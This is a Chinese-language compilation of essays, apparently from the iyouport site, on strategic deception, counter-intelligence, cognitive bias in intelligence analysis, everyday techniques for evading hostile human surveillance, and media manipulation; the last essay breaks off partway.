换句话说，每一次欺骗行动都难免留下漏洞 —— 矛盾的特点和线索；这些漏洞形成了替代性的类型 —— 假设；但是它们本身与真相矛盾 —— 通常是差异、反常；于是，发现了矛盾，就能发现欺骗。

以上只是学者们的观点。不论如何，情报分析的天职就是觉察对手的实力和意图。

因此，尽管关于欺骗问题不存在标准答案，但是很多研究依旧提出了不少识别欺骗的思路和途径。

这包括：发展一套关战略性欺骗的理论体系，增强对战略性欺骗的感知能力；提高情报工作的整体水平，建立一个协调、高效的情报体

制；提高情报搜集能力，尽可能觉察对手任何异常之处；加强情报认知能力，使用批判性思考克服认知偏误；使用各种不同的情报分析技巧，提高分析质量……等等。

其中反情报是重点工程。

「图」

—— 积极反情报和消极反情报 ——

「图」

⚠反情报就是隐私倡导者经常叨念的那句话：别让你的对手太了解你。

这是反欺骗的一个最重要的途径。过去也曾被称为“消极情报”。

传统的反情报将重点放在拒止方面；通过保密、反间谍等措施，阻止对手接近己方人员、信息和设施。

法国人认为反情报是消极情报，美国也一样。里根颁布的 12333 号行政指令主要就是规定反情报的，针对阻止对手的谍报能力，包括阻止破坏活动和暗杀行动。

⚠不过这些被动消极的反情报观念并不是反情报工作的全部内容。它反而会导致反情报工作的长期积弱。

比如联邦调查局，反情报对该部门来说只是一个很小的职能；联邦调查局的工作以案件为目标，一旦抓到间谍就是特大成就，要在媒体上大肆宣传，很少会从战略角度考虑反情报，即 操控这些间谍去了解对手的意图。

单纯的拒止的确可以削弱对手的情报能力，但不能真正达到战略目的，甚至无法真正保密。

巴巴罗萨行动开始之前，希特勒策划了史上最复杂的欺骗行动，制定了严密的保密措施，但是并没能阻止巴巴罗萨行动成为公开的秘密。几乎从计划出炉那一刻起流言就出现了。

类似的情形几乎比比皆是。

⚠实际上真正的反情报工作不仅仅是防御性的，更是进攻性的；反情

报工作不仅可以保守秘密、抓捕间谍、也可以发布虚假信息 —— “经营”间谍，操控对手的情报机构。

孙子兵法将间谍分为5种，反间谍就是其中之一，并且是“五间”中的关键部分：用“死间”传递假情报、通过反间了解对手的意图，用反间计除掉对手。

二战时期英国情报机构是反情报的高手。

1936年开始，军情五处就把*经营*对手方的间谍视为重要的反情报措施。

英国为此成立了双十委员会，集中国防、外交和谍报机构的成员，以全面指导战略性欺骗工作，就是著名的“双十体系”，在二战中发挥了重要作用。

德国的反情报机构在德军的战略性欺骗中也是主导作用的，所有的假消息都必须通过德军谍报反间谍处进行。

所以，真正的反情报工作绝非消极。防御性的反情报只能是被动反应，而无法真正保护信息、人员和行动的安全。

2005年开始，美国将“识别、评估、消除、利用外国情报威胁”，作为首要目标，将反情报搜集及行动列为促进安全目标的工具。

再研究下中国的反间谍法，也是同样的意思，它是攻势而不仅仅是防御。

「图」

—— 战略性欺骗和反欺骗 ——

「图」

本质上看，战略性欺骗和反情报工作是一致的。战略性欺骗的主要措施是拒止和欺骗，而反情报的全部目的都是围绕阻止对手渗透己方人员、信息和设施。

有个特例，比如基于外交*斗争*的需要，己方有可能泄露情报能力，这就会给对手的拒止和欺骗提供方便，于是决策者需要一些权衡。

比如一战后，英国政府密码学校已经能破解共产国际总部以及苏联政

府与其伦敦各代表处之间的通信。据此英国政府跟踪了苏联外交官和贸易代表的活动。

1927年，英国公布了这些拦截到的信息 —— “与外交活动不相称的行为”，并以此为由中断了与苏联的外交关系。

为了在国会中解释这件事，大臣们公开承认英国可以破解苏联通信，其结果是苏联启用了英国人无法破解的密码。

1983年，苏联击落韩国民航客机，里根政府随机公布了苏联飞行员与控制台的通话，从而暴露了美国的信号情报搜集能力。

1986年，里根政府为了对轰炸利比亚的行动进行辩护，披露了破译的利比亚电报，其内容说明利比亚与西德迪斯科舞厅爆炸案有染。

这就等于告诉了利比亚政府其通信已被破解，对当权者来说就是损害了一种重要情报能力，美国间谍大概需要数月的时间才能找到替代方式。

1996年，美军驻波黑将领向塞尔维亚人提供了美国卫星照片，以显示塞尔维亚的行动处于美国和北约的严密监视之下。塞族人显然由此了解到了美国的情报能力，从而想到了避免被美军卫星侦察的方法。

🌤互联网时代是透明度革命的鼎盛时代，对当权者来说保密已经变得非常困难。公开来源中就有大量的情报信息，这就是为什么开源情报**OSINT**如今已经是百亿美元的市场。

中国的“新反间谍法”表面上就是针对这点的；也是为什么Twitter 的条款中包括“禁止发布被黑客盗取的信息”（顺便说Twitter这条规定很扯，特朗普的税单就是被黑客盗取的，难道推特要封了纽约时报吗？）

反情报的最终目的是操控对手的情报机构；因此，反情报必然包括欺骗这一手段，向对手发出误导性信息，诱使对手作出对己方有利的决定。

欺骗对象首先是对手的情报机构，其次是其决策者。⚠这就意味着不仅要了解对手的能力、运作方式、分析判断方面的习惯做法，也同时应尽可能避免己方的弱点被对手获知。

⚠换句话说，当“己方”在社交媒体上彼此谴责时，就是你们的对手最有利的时机。您知道我指的什么。

现在的状况是，“己方”的对手一直处于作战状态，而“己方”始终没能进入这一状态，仅仅处于惶恐中，被动防御却防不胜防，这样是赢不了的。除非进入主动。

战略性欺骗使情报成为一个系统性工程；它可以将情报工作的各个要素—诸如 情报搜集、情报分析、和反情报—连成一体。

「图」

—— 情报搜集大战 ——

「图」

情报搜集是整个流程中最基础也是最重要的一环；对峙双方的主要工作就是尽可能搜集对方，同时尽可能避免被对方搜集。

心理学层面是最重要的，于是人们一直在强调情报分析是中心环节。但是，如果搜集阶段不能提供充分情报资料的话，分析环节就只能建立在猜想和假设上，其准确性没有保证的。

换句话说，💡只要你能阻止对手的搜集，即便对手拥有再强大的分析师团队，也是赢不了的。

关键性情报缺失是一切失败的重要根源。

如果美国情报机构能及时从电文中破译出日本突袭的时间和方向，珍珠港的历史就会被彻底改写；印度核试验出人意料，而当时的中情局主任只能摊开手：“我们的确没有得到情报，没什么可说的……”。

911发生前，美国情报界已经就恐怖袭击发出了大量警报，但是这些警报从来没有涉及恐袭的具体时间和地点。情报机构实际上并不清楚真正的袭击目标。这是布什的国安顾问亲口承认的。

- Testimony of Condoleezza Rice Before 9/11 Commission (April 8, 2004)

正如 Barton Whaley 所言，发现欺骗的可能性总是存在的。情报能力是发觉对手破绽的关键和唯一方法。

—— 了解思维模式，提高情报认知能力 ——

「图」

欺骗要想成功，就必须对欺骗对象的思维产生切实的影响；相反，只要你能避免被影响思维，就能避免被操控。

你越能了解对手的思维模式，就越容易实施成功的欺骗式操控。

⚠切勿在任何公开场合吐槽队友，这不是什么士气问题，而是情报战问题；你描述得越准确，其危害性就越大。是对你们所有人的危害，而不仅仅是吐槽对象。

任何一种操控在此都一样；不论是对战双方、政治对手、还是数字极权。这就是为什么监控在任何一个竞争领域都非常疯狂。

仅仅监控是不够的，搜集到的信息必须能通过高端专业的解析才能成为真正的情报。关于为什么信息不是情报，见这里的解释《情报不是简单的多信息》。

简单说，改进情报分析质量的关键要从提高情报人员的思维能力入手；⚠当下的政治评论基本不具备任何情报价值，一部分原因就属于思维问题 —— 太过表面化了，政治领域知识分子在思维模式上普遍缺乏对峙意识。

「图」

1、知觉对情报的影响

如果您长期关注 IYP 的OSINT演示部分，就会很容易理解这一小节的重点。这些演示一直在强调科学的思考方式。

科学发现是从科学假设开始的（assumptions），这是现代科学研究中一种重要的理性思维模式。

它以科学事实为依据，以科学理论为前提，对研究对象作出一种猜测性的说明和常识性的解答；然后，据此去寻找事实，以验证假设的结论。

在情报分析上 —— 包括开源情报OSINT —— 也是如此，以广泛搜集的信息为依据、以科学逻辑为前提，对调查对象提出假设，然后通过深挖以验证这一假设。

传统的情报分析理论大量借用假设，如 Sherman Kent 将完美的评估

比作金字塔，金字塔的基座由大量无可争议的事实构成，侧面则由合理的假设构成，其顶点就是情报分析的结果。

Kent 认为，只有掌握基本信息、通过小心的假设、慎密的推理，分析人员才能得出正确的结论。

所以，仅仅批评知识分子的分析能力是不够的；知识分子没能掌握基本全面的信息，这是因为调查记者的工作缺失，⚠没有真相就没有一切。

不仅如此，20世纪50年代后期兴起的认知心理学研究证明，人类思维具有天然的缺陷很难有能力去认知复杂的外部世界；这一局限使人类不得不使用一个经过简化处理的思维模式，以减轻决策判断时的负担。

在许多情况下，简化的思维模式有助于应对复杂和模糊的问题；但是，它也严重影响了分析的准确性。

不理解思维过程就很难得出正确的结论。

分析人员以感官提供的信息为基础，构建自己认定的现实。但是，感官输入的信息要经历复杂的思维过程，正是这一过程决定了哪些信息会受到重视，如何对它们进行组织以及赋予它们怎样的意义。

以往的经验、教育经历、文化价值观、自身的角色需求、组织规则以及信息的具体细节，都会严重影响人们的感知和信息处理方式。

比如，要得到最清晰的A国图景，不仅需要有关A国的信息，还需要清楚理解自己用以观察这些信息的镜片。

这些镜片就是：思维模式 mind sets，思维模型 mental models，偏见 biases，分析假设 analytic assumptions。它们是同一个问题的多种表达方式。

认识心理学研究发现，假设和思维模式有几大特点：

- 期望制约知觉

认知是一个主动的过程：认知不仅是被动感受，还包括主动理解，⚠这是一个人以五官获得的信息为基础，构建自己版本的“现实”的过程。

也就是说，每个人看到的“现实”并非是现本身，而是经过大脑处理的产物。除了感官记录的刺激外，过去的经验、教育经历、文化价值观、和自身角色等，都会强烈影响分析者的心理预期。

⚠这种心理预期实际上就是一面棱镜，它会把你不想看到的东西都过滤掉，只留下你想看的东西。

这就是为什么仅仅 “信息自由”无法带来认知能力升级；如果没有思考方法的训练，即使面对周全的信息也同样会自动过滤掉大部分内容。

因此，必须有意识地认识到，知觉的“事实”并不一定反应了客观事实，它可能是正确的，也可能是错误的。

任何想象都不会自动萌生，它必须由分析者来解释。在解释过程中，分析者的信仰、印象、偏见、以及情绪、自信心，都会产生明显的影响。

尤其是面对嘈杂的信息环境，分析者不可能没有心理预期，因为大脑在拼命试图简化周边世界。这一心理预期就对判断产生了明显的影响。

换个角度看，⚠只要你能掌握对手的心理预期，就能操控他/她接受或信任任何事，作出有利于你的行为。

这对任何一种欺骗手段都一样。

在制定欺骗计划时 ，欺骗者会详细分析当前的局势，了解欺骗目标的思维方式，从而使欺骗计划更合乎欺骗对象的心理预期，显得更具“合理性”。

掩饰诺曼底登陆的“卫士计划”就是个很好的例子。希特勒认为盟军会在加来、巴尔干等地登陆，这些登陆地点在军事上有重大意义；如果登陆真的在这些地方，那就失去了所有突击价值。

- 满意原则

也就是第一眼美女的陷阱。

在作出判断时人们往往会选择第一眼看上去觉得满意的解决方案，而不是在审查所有可能性之后再做判断。

⚠人们只愿意看到自己正在寻找的东西，而不会去研究与其他判断或

评价有关的东西。

哪怕是得到了警告，并努力保持客观，也不能确保准确的认知，

这就造成了：⚠与预期相一致的信息比较容易认知和处理，而与其相矛盾的任何信息都会被认知过程曲解或忽视。

在情报分析中，表面上看，分析人员只有在掌握了大量情报资源的情况下才会作出判断。但是，实际上分析人员只是根据其中很少的情报资源，试图找到可能性最高的假设 —— 也就是*看上去*对当前形势最为准确的估计，然后才去搜集相关情报资料*来验证*这种假设。

听起来很荒谬吧。但它正是最广泛采取的认知模式。被称为“满意原则”。

这完全是下意识过程，对于当事人来说，并不像我们上述分析得那么简单清楚。想想看，有谁在作出判断的时候就对自己的判断表示怀疑吗？

并没有。这是需要通过训练才能得到的技能。

- 思维模式形成非常快，一旦形成就很难改变

很多实验证明，早期的判断会对未来的认知形成产生很多负面影响。

⚠一个观察者一旦认为自己“清楚”正在发生什么，形成的认知就很难再改变。

这就是为什么著名知识分子的错误思考很难被纠正，而初涉分析界的年轻人反而更容易通过思维训练培训获得高超的判断力。这可不是年龄歧视，而是*知识的悖论*。

人类思维模式的顽固性对情报分析提出了严峻的挑战。

分析工作的目的在于揭示未知世界，于是分析师必须惯于与极端模糊的情况打交道；需要在状况尚且萌芽的状态下进行研究，并在这种情况下形成基本假设。

随着事态不断发展，材料在不断积累，而分析师却一直被困于原有的假设中；新证据只是被简单地融入了原有的假设，成为了“支持自己观点的佐证”。

结果是，即便可证伪的信息很多，也同样被视而不见；思维定势难以被打破。

同样的情景也发生在长期评估上。

分析人员长期跟踪某个问题，在撰写定期评估报告时，为了节省时间和精力，他并不会重新考量所有的情报资源，而仅仅是回顾一下此前的报告，并视情况进行一些更新。

显然，在不断变化的事态中，这将产生一个巨大的失误隐患。

因为情报证据几乎永远都是片段的、不完整的，新信息的点滴积累短期内无法使分析产生根本性变化。

欺骗就会趁虚而入。

- 镜像思维是常态

镜像思维是分析师常用的方法。在缺乏充分的情报资源、又不得不对自己不熟悉的局势作出判断时，分析师采取的基本都是这种类比的方法。

也就是，设想自己处于类似的位置，感觉自己可能采取什么样的行动，以此来推测对手最可能怎么做。

正是这种简单的镜像方法让情报分析不断失败。

⚠不同文化环境下、不同意识形态心境下，人们的思考方式是完全不同的。自己的价值观无法确定对手的价值观。

「图」

2、思维模式的改进

- 首先要认识到思维模式不可避免；要求完全客观是徒劳的。

> “如果不做任何假定和猜测，福尔摩斯就不会知道应该从哪里开始寻找线索” —— David Schum

信息的意义取决于两方面：1、信息本身的性质；2、分析人员对信息的解读背景；这一背景受限于分析者先入之见的影响。

⚠刻意强调客观性，只会降低而不是提高参与的有效性。

客观分析依赖的是明确提出的假设。进而对其进行校验和质疑，而不是徒劳地将它们从分析中剔除出去。

💡你唯一能做的事就是，避免成为思维模式的俘虏 —— 对自己的假设保持高度警惕，要了解假设的脆弱性，要努力筛选假设，最终才能得出接近正确的结论。

- 构建合理的思维模式

“好”的思维模式就是考虑了各种可能性的思维模式。

分析人员不仅要考虑到那些看上去可能发生、符合自己心理预期的假设，也同样要考虑那些实际发生概率很小，但只要适当条件成熟仍然可能发生的假设；让各种假设形成竞争，从而避免先入为主。

如果分析中主要变量或决定因素发生变化，它们会在多大程度上影响最终判断？需要被质疑的正是那些作为分析基础的关键性假设。

分析人员应该不断问自己：哪些情况会推翻这些假设？如何假定这些情况尚未发生？

如果你无法自己改变自己的想法，那就要考虑自己的思维是否已经被先入之见支配了。

⚠为防止这种情况，分析人员不应该去咨询那些与自己看法相同的人，而是应该更多接触那些与自己看法相左的人，从他们那里寻找不同的模型，以求得对信息的另类解读。

这方面可以有一些机制性的措施，中情局就是这么规定的。中情局要求在审查情报时，所有参与审查的人员均不得来自撰写报告的小组，因为分析人员的同事和上级很可能与其有种相同的思维模式。为避免被定势绑架，每一份报告必须经过一个小组的审查，该小组人员不具备相关问题的专业知识，但都是具有很高造诣的分析人员。

⚠社交媒体算法对认知的摧毁也恰恰作用在这方面：它让你只能看到和自己思维模式一致的人的信息，难以接触到不一致的任何批判性信息。

上述提到的镜像思维在所有人身上都存在，包括夫妻之间的沟通不畅导致的矛盾，丈夫误认为妻子的思考方式和自己一样。

外交中也是如此，“外国领导人”的行为经常被认为“不符合其最高利

益”，这类荒谬的结论就来自于镜像逻辑。

“红队”分析是挑战镜像思维的一种做法。

红队是由训练有素的专家组成的，从对手和第三方角度出发，充分探寻各种计划和行动方案，🌤参与敌我双方的行动方案推演，自己扮演对手，检查己方行动和计划存在的漏洞，协调指挥官，从而做到优化决策。

红队起源于80年代的洛克比空难。空难发生后，一个总统委员会要求美国联邦航空管理局采取措施，改进机场的安全设施，这就导致了红队的产生。

你可以理解为渗透测试。

红队通过分析攻击者的战术，寻找各个机场在安保方面的漏洞。正是红队发现波士顿的洛根国际机场存在严重安全隐患，但是没能引起足够重视；而后发生的911事件……

红队分析法的产品取决于队伍的素质和经验、所采用的方法和工具、以及所做出的所有努力。

⚠只有真正了解你的对手，了解对手的思维过程和思维方法，才能真正站到对手的立场上进行思考，得出的结论才是有价值的。

下篇即将继续介绍如何通过*自我训练*获得防范欺骗入侵的智慧。

—— 未完待续 ——

原文

在你的日常生活中应用隐蔽野战技术：简单方式抵御敌对监视 - iyouport

反侦查-在现实中反侦查反侦查-在现实中反监视战略性欺骗-识别和抵制

【2019年7月2日存档】什么是敌对监视？为什么普通人也应该小心这种监视并做好习惯性防御？

我们经常强调高度敏感的人和群体要注重安全防御，包括活动家、记者、人权维护者、人权律师等等，但其实任何人都应该对防御知识有所了解，比如你很漂亮性感、或者你比较有钱、再或者你只是有个死缠烂打的ex、仇敌、和任何形式的对手，都有可能被不择手段的方式瞄准。私人侦探的酬金已经越来越便宜了。

虽然如今人们越来越多地谈论技术监视，但依旧有很多时候人力监视是被重点使用的（后文会介绍技术监视的防御方法）。人力监视有很多便利，比如直接、易于调度、稳定、杂音少等等，监视者们很清楚这些便利。

也许有人可能会觉得这很令人惊讶，但很多反侦查技术涉及监视检测和特殊保护操作 – 甚至一些性感的东西 – 也同样可以应用于您自己的生活中。

IYP 曾经介绍过一些关于如何检测自己正在被监视的事实，在这里看到《如何检测您是否正在受到监视？——监视检测和特殊保护行动》、以及《用”眼”识人：你想知道自己在一个”间谍”的眼中是什么样吗？》，还有《暗中监视的迹象》等等，都可以帮助您和您心爱的人做好防护。今后我们还会继续介绍相关的技巧。

观察的技能对于防御来说是至关重要的，归纳观察技能可以随时随地应用。该问题取决于您关心哪些资产（人员、财产、信息、声誉和贵重物品）以及如何更好地保护它们。

从本质上讲，这些技巧就是所有保护所依据的策略 —— 那么为什么不采取一些智慧并将其应用于您自己最珍视的资产呢？

📢参见 **IYP** 菜单中的**“HowToWin”**部分，提供的技能都是比较重要的和实用的，旨在提高您的安全意识并帮助您提高自身的安全性。

这并不是说建议你开始在一些偏执的安防泡沫中生活，肯定不是，我自己当然也不会以这种方式生活。了解恶意行为者和当权者的隐蔽操作中使用的策略并不意味着您必须自动实施它们。但扩展您的知识和提高您的意识可以帮助您做出更明智的安防决策。

想想看，例如，为什么家门上贴着防盗报警贴纸的住户往往很少被破门而入？这是因为敌对的监视人员倾向于将这样的房子排除在潜在的目标列表之外，而不是那些看起来更容易闯入的房子（在你的门上放一些贴纸是个好主意，即使你没有装报警系统）；还有一个原因可以解释为什么你会发现更多的被窃汽车案例是发生在汽车停在墙壁前或大型灌木丛前面的时候，而不是在私人住宅前面。因为这些区域可以令敌对监视人员的操作比较顺利、风险较低（最好避免将车辆停放在墙壁前、灌木丛或空地一整夜）。

如果你是由于因政治原因而成为目标的，上述贴纸和汽车的情况尤其需要您警惕。因为这种情况下您所面对的不仅仅是财产损失的问题，当年的斯塔西曾经干过这种事。他们偷偷潜入目标人的家和汽车，悄悄地移动更改一些布局、藏起一些东西（比如相框、衬衫或一只袜子），并不拿走任何财物。多次下来会令目标人陷入怀疑自己精神错乱的境地，失去斗志。想想看，如果你某天回家时发现原本应该在北墙上的全家福现在挂在南墙上、原本刷干净的碗碟里居然有血迹……

这种情况下大多数人（包括无神论者）都会陷入困境，会被强大的疑惑压垮、陷入不可自拔的自我审查。这正是敌对监视人员所希望的结果。

我有两位朋友的汽车行李箱被撬，失去了重要的东西。这在他们看来是一个完整的谜。他们当时并没有让车子停放很长时间，周围也没有其他车辆被闯入，尤其是，窃贼是如何知道哪辆车子里有值钱的东西呢？

很简单，受害者此前长期遭受着秘密监视而对此一无所知。监视者看到他们把什么放入了行李箱，并尾随他们抵达一个“容易下手的地方”才开始撬门的。

上述这些都属于敌对监视。敌对监视的应用非常广泛，不论是图财、图色、恐吓、操纵还是实施心理压力。顺便提一下，如果您必须在汽车后备箱中存放物品，请事先查看您周围的环境以确定安全。

还有一个重要原因是，敌对监视者通常首先在社交媒体上关注他们的目标，然后接近受害者的住所和工作场所，开始跟踪他们，找到他们的规律和弱点。这是一个典型的敌对计划过程 —— 被称为社交媒体情报的一部分，其中敌对计划者最初从现有的开源信息中提取他们想要的东西，然后转换到静态监视，继而转向移动监视。（具体解释详见上述“监视检测”）

我可以继续举出更多这样的例子，但基本的信息都是相同的：即 学习如何从不同的角度看世界，对于防御来说是至关重要的。

就如 IYP 介绍观察技巧的文章标题所述：了解自己在一个间谍眼中的样子。了解地方和人 – 包括你自己 – 如何能够出现在潜在的敌对观察者身上，然后改变你的行为方式，以便改变敌对计划者用来评估你的风险/收益的平衡。

我知道这可能听起来像是高技术性的，斗篷和匕首的东西，但真的不必担心，大多数防守动作和战术几乎是可笑级的简单。

然而，仅仅因为它们很简单并不意味着每个人天生都具有如何保持安全的知识。常识并不总是那么常见的，至少对于那些从未真正停下来思考它的人来说，不会容易。

说到共同点，在此我经常能得到一个可预测的反对意见，即 教育人们关于监视、监视检测和保护性操作，这真的对吗？透露防御技巧会不会反而帮助’坏人’提高了技能呢？或者会不会提示坏人想到如何绕过防御的办法？

好吧，对于第一个问题，答案就是“坏人”在敌对监控方面通常不需要太多帮助。他们对此早已非常娴熟，相反，一无所知的人是他们的目标，也就是那些“好人”，因为他们从来没有任何理由去思考或体验这些东西。

获得技能主要是提高你的防范意识和威胁敏感度，并获得一些经验 —— 大多数“坏人”已经做过的事。他们还会继续做下去，现在你有必要了解它们。

至于第二个问题，答案也是否定的。为敌对计划者配备有关保护性操作的一般知识并不能真正帮助他们绕过或逃避安全措施（只要信息不太具体。传授这些知识的人肯定有分寸）。

这是因为关于目标的一般知识并不能消除恶意计划者最终出现在目标

区域的需要（以便收集更详细的信息）。正是在这一点上，作为安全专业人员，我们可以阻止、检测、承认或调查潜在的敌对监视者。

了解敌对监视者最具权力的事情之一是他们在规划和监视阶段的相对脆弱性，以及一旦你理解了事情的运作方式，检测和阻止它们就会变得相对简单。这些漏洞是敌对监视所固有的，难以通过更多地了解安全防御来克服或绕过这些漏洞。

再一次，“坏人”早已知道这些，因为他们是在平衡高风险情况方面经验最丰富的人。“好人”是那些需要了解周围发生了什么的人。

下面简单说说防御敌对监视的一些技巧。

—— 逃离监视 ——

「图」

首先要明白的是，监视本人并不是你应该担心的最大威胁。监视只不过是一种信息收集工具，它应该是最受关注的信息。因此，逃避监视或以其他方式保护自己免受敌对监视工具的侵害，而不是敌对目标，是一个基础性的重要事实。

在开始之前有必要澄清，没有任何文章可以自夸能在实际程度上教会某人如何逃避监视，想要成功需要学习者做很多练习，在经验中将知识补充完整。其次，本文主要针对的是普通的非专业人士可以做的防御，而不是对专业间谍来说的（他们不需要从我这里听到任何此类信息）。

还有必要提到，在这个问题上没有任何客观的权威，而且有很多不同的方法可以做到这一点。我的知识来自多年的经验，也许其他人在其他方面也有类似的经验。

好消息是，人力监控是一项相当棘手的业务，这意味着除非您正在与一些非常熟练和专业的敌对监视者打交道（比如情报机构 – 国安部），否则通常不需要花很多时间就可以摆脱他们（我经常会这样做）甚至可能还会有点小失望，因为大多数外行监视者都很容易被甩掉。

好啦，接下来看看你可以采用的一些策略，以保护自己免受敌对监视。我们将从一些更基本的常识方法开始 ——实际上非常有效的方法，然后介绍点更性感的东西。

监视预防 ——

「图」

绝大多数人都会有这种防范的下意识。每当你避开城里某些危险的地方、或决定不在夜间走入一条黑暗的小巷时，你基本上就避免了多数罪行发生之前的简单监视。如果您坚持采取安全措施并减少视觉足迹，您将首先降低被定位和被跟踪的风险。

此外，外出时最好保持低调。豪华轿车、昂贵的服装和华丽的玩具等等都可以让你脱颖而出，成为暗枪的目标。我曾经告诫很多人关于低调的重要性，但不能否认他们通常甚至没有注意到这一事实 —— 因为调是不是足够“低”当事人自己不敏感，敌对监视者可是非常敏感的。

以下是一些最简单的措施（还有更多措施）可以帮助防止被监控。你可以把它们融入意识，更主动和自然地实施：# 尽量改变您的日常行程和旅行路线。请记住，仍然会有一些你无法改变的例程（上下学、接孩子、上班工作等），但是仍然可以使用一些变动进行随机的调整，只要你想。

- 尝试通过与您进入的门不同的另一扇门离开。在商场、酒店、火车站等较大的地方，这将更容易做到。但您也可以在许多学校、办公室、公寓楼甚至住房中找到一扇后门。
- 尽量避免在静态监视位置进行重要行动，这些位置可以从安全距离（街边咖啡馆和餐馆、公园、城市广场等）轻松监控。静态和动态监视检测详见这里。
- 当你与某人见面时，尝试约在室内（咖啡馆、商店、酒店大堂等），而不是在街上见面。尽量不要花很长时间在街头等人。

1. 建立缓慢、稳定的运动速度，可以从舒适的距离轻松监控的那种状态；

- 然后，忽然改变状态。在你前面的某个地方寻找一个可以让你突破监视视野的位置 – 即使只是几秒钟。这可以是转弯、进入百货商店、火车站、酒店等，提前对该地区有所了解可以将其效能提升到更高的水平 —— 老练的监视人员通常知道不能在目标人长期居住的区域下手，因为那里的地形对目标有利；
- 充分利用这一短暂的监视盲点，迅速改变尽可能多的视觉变量（外观、肢体语言、步速和运动方向等等），监视者此前努力建立起的监视线索将被消解，他们会开始发愣。

介绍一个有趣的例子。这个例子并不涉及真正的敌对监视器（它是在防御课程上的演示），但这更具挑战性，因为对手是五个非常专注的监视人员，其中大部分都有多年的特种部队、执法和维稳经验。

目标走在市中心的街头，穿着一件蓝色系扣衬衫、带着一个深色背包。目标首先确保自己保持缓慢的步伐并将自己定位在宽阔的人行道中间，以便五个特工更容易从远处跟踪。

这个图景可以令监视人员陷入一种舒适的、甚至有点自满的距离和节奏。当目标最终到达一个地铁站附近时，忽然变速，迅速走下楼梯转过拐角。立刻就获得了几秒钟的监视盲点。

目标利用这几秒钟飞快跑起来，并迅速脱掉了衬衫，把它塞进背包里，然后戴上背包里准备好的黑色棒球帽和眼睛。然后迅速从街对面的出口离开，采取正常的步速，融入了人流。此时监视者还在努力寻找“蓝色衬衫和黑色背包的男子”。在繁忙的地铁站和拥挤的商业街，这种手法很好用。只需要10秒钟。

这一思路和专业魔术师所做的并没有什么不同 – 将他们的观众导入虚假的期望，重新引导他们的注意力，他们就看不到你的诡计。

对付人力监视者的方法大多是如此，即 从人的心理弱点下手。记住他们是和你一样的人类，你的弱点他们大多都有，通过日常观察自己的弱点便可以计划出很多类似的防御策略。

机器监视没有“心理弱点”，但要知道，通过机器监视操作的都是人，是人在通过机器获取的信息进行决策，于是如果你确定基本监视者是机器，那么有可能更容易解决。

对付人脸识别的思考方式我们介绍过，详见《让面部识别失效的思考方式》；对付热成像监视的方法见这里《如何防止被无人机监控？》，类似方法还有很多，AI 不是为敌人而生的，它也可以用来反敌对监视。

的确，基于人工智能（AI）的监视一直在增加，通过允许政府和执法机构跟踪任何公民，实现了真正的技术反乌托邦。但是，对于每种技术，都会引入一种可以欺骗它的方法。

比利时 KU Leuven 大学的一组学生在 arXiv 上发表了一篇论文，包括如何借助简单的印刷图案轻易地欺骗用于识别图像中人物的AI系统。

只需要将一个特别设计的花纹/图形，放在身上，就可以让您无法被

AI检测到。这种图案如果印在T恤上，穿上它你就可以隐身了，当前的自动监控技术无法检测到您。

对于普通大众来说这可能有点奇怪，但在AI的世界中，这些模式被称为对抗性示例，它使用的是计算机视觉系统的脆弱性。

其实对抗性示例已被用于欺骗面部识别系统。在这里看到视频：

这里指的对抗性示例只会欺骗 YOLOv2 算法，但包括谷歌在内的各种科技公司开发的现成计算机视觉系统使用的都是YOLOv2。此外，如果一个活人正在查看图像，这种方法是无用的，您依旧需要上述对付人类的办法。

最后，还是那句话：练习。练习非常重要，任何技巧和技术只有通过不断练习才能真正变成你自己的东西，才能在你需要的时候发挥作用。〇

原文

媒体操控：战略性欺骗的重头戏 - iyouport

关于真实的“媒体”-真相衰变战略性欺骗-识别和抵制

【 2019年7月31日存档】如果你认为你所追求的东西是正义的，那就最好不要采取任何不正义的策略

多年前，IYP 曾预测集中化互联网、尤其是社交媒体，将变成纯粹的广告栏，一切都是为了宣传、影响、甚至是操纵。如今看起来这一预言正在以惊人的速度实现并深化。

本文是另一个主题 —— 战略性欺骗的前奏，这种欺骗手段是交战中最常用的，不论是意识形态斗争还是军事斗争，不论是对内压制反对派还是对外打击敌人；它并不是撒谎这么简单，它需要是一种战略，也就是要在利己的前提下损人。

媒体操控是战略性欺骗采取的诸多手段之一，也是最常用的手段；媒体在普通人眼中是信息和知识的来源，在其他人眼中不仅是信息来源，而且是武器。

基于批评的异议其性质是一种协作；而反抗则是一种对战。如果您有意挑战主流政治，了解这些知识是很有必要的。我们不需要亲自撞墙才能学到东西，他人曾经撞过的墙都应该被画上一个大大的惊叹号。

要理解战略性欺骗在当今的用法就要首先需要了解当下最有利于其操作的背景。当然，关于监视资本主义、军事工业综合体这些背景概念已经被很多人所熟知，大多来自于新闻故事和由此展开的简要分析；但这样似乎不够系统。我们尝试在“Knowledge Node”中将它系统化处理一下，方便您的查阅。

—— 媒体操控 ——

「图」

媒体操控有着“悠久”的历史，作为信息战和心理战中最强有力的手段之一。

媒体操控并不是“党管媒体”这么简单和笨拙，它是深藏不露的，让你从表面上看上去是一群“自由的媒体”，而实际上其发布的内容仅有利于其被背后那只大手。我们曾经在独家消息中披露过中国当局在内部透露的对宣传的理解，即“润物细无声”，就是这个意思；继续仅仅嘲笑党管媒体会让你错过真正的威胁。

媒体操控是一系列相关技术，党派拥护者在其中创造有利于他们自己特定兴趣的图像或论据。

⚠这种策略可能包括使用逻辑谬误、心理操纵、彻头彻尾的欺骗、修辞和各种宣传技巧、并且通常通过诱使其他人或群体*停止倾听*某些信息或观点来抑制操控者不同意的信息或观点，或者，简单地将公众的注意力转移到其他地方。

在这里看到一些案例解释《秘密宣传网络》、《以谣言为武器》、《在线宣传战的结果》，两个完整分析《操纵式宣传：五个过滤器和识别线索》、《微妙的宣传》，一些历史《人格暗杀和抹黑运动》。

在《Propaganda: The Formation of Men’s Attitudes》一书中，Jacques Ellul 写道，公众舆论只能通过大众传播媒介提供的渠道来表达自己 —— 没有这些渠道就不会有宣传。宣传包括公关、政治宣传、营销等。虽然每个背景的目标都是完全不同的，但广泛的技术使用往往十分相似。

看一个案例 ——

「图」

媒体操控方面最厉害的人之一当属CIA。[另附四年前的一个报道，关于中国的媒体操控《大外宣战略、审查和自我审查》，对比一下会感觉很土]

请注意，⚠CIA的做法是几乎所有当权者都有可能采用的，当然首先是他们能想到这么做，尤其是避免被揭露。内部举报人是击败这些阴谋的最强大力量（而不是国会）。

1、植入“新闻”

中央情报局高级官员 Ralph McGehee 揭露，中央情报局经常在媒体刊物中匿名发布“新闻报道”，以传播有利于中央情报局目标的错误观点。

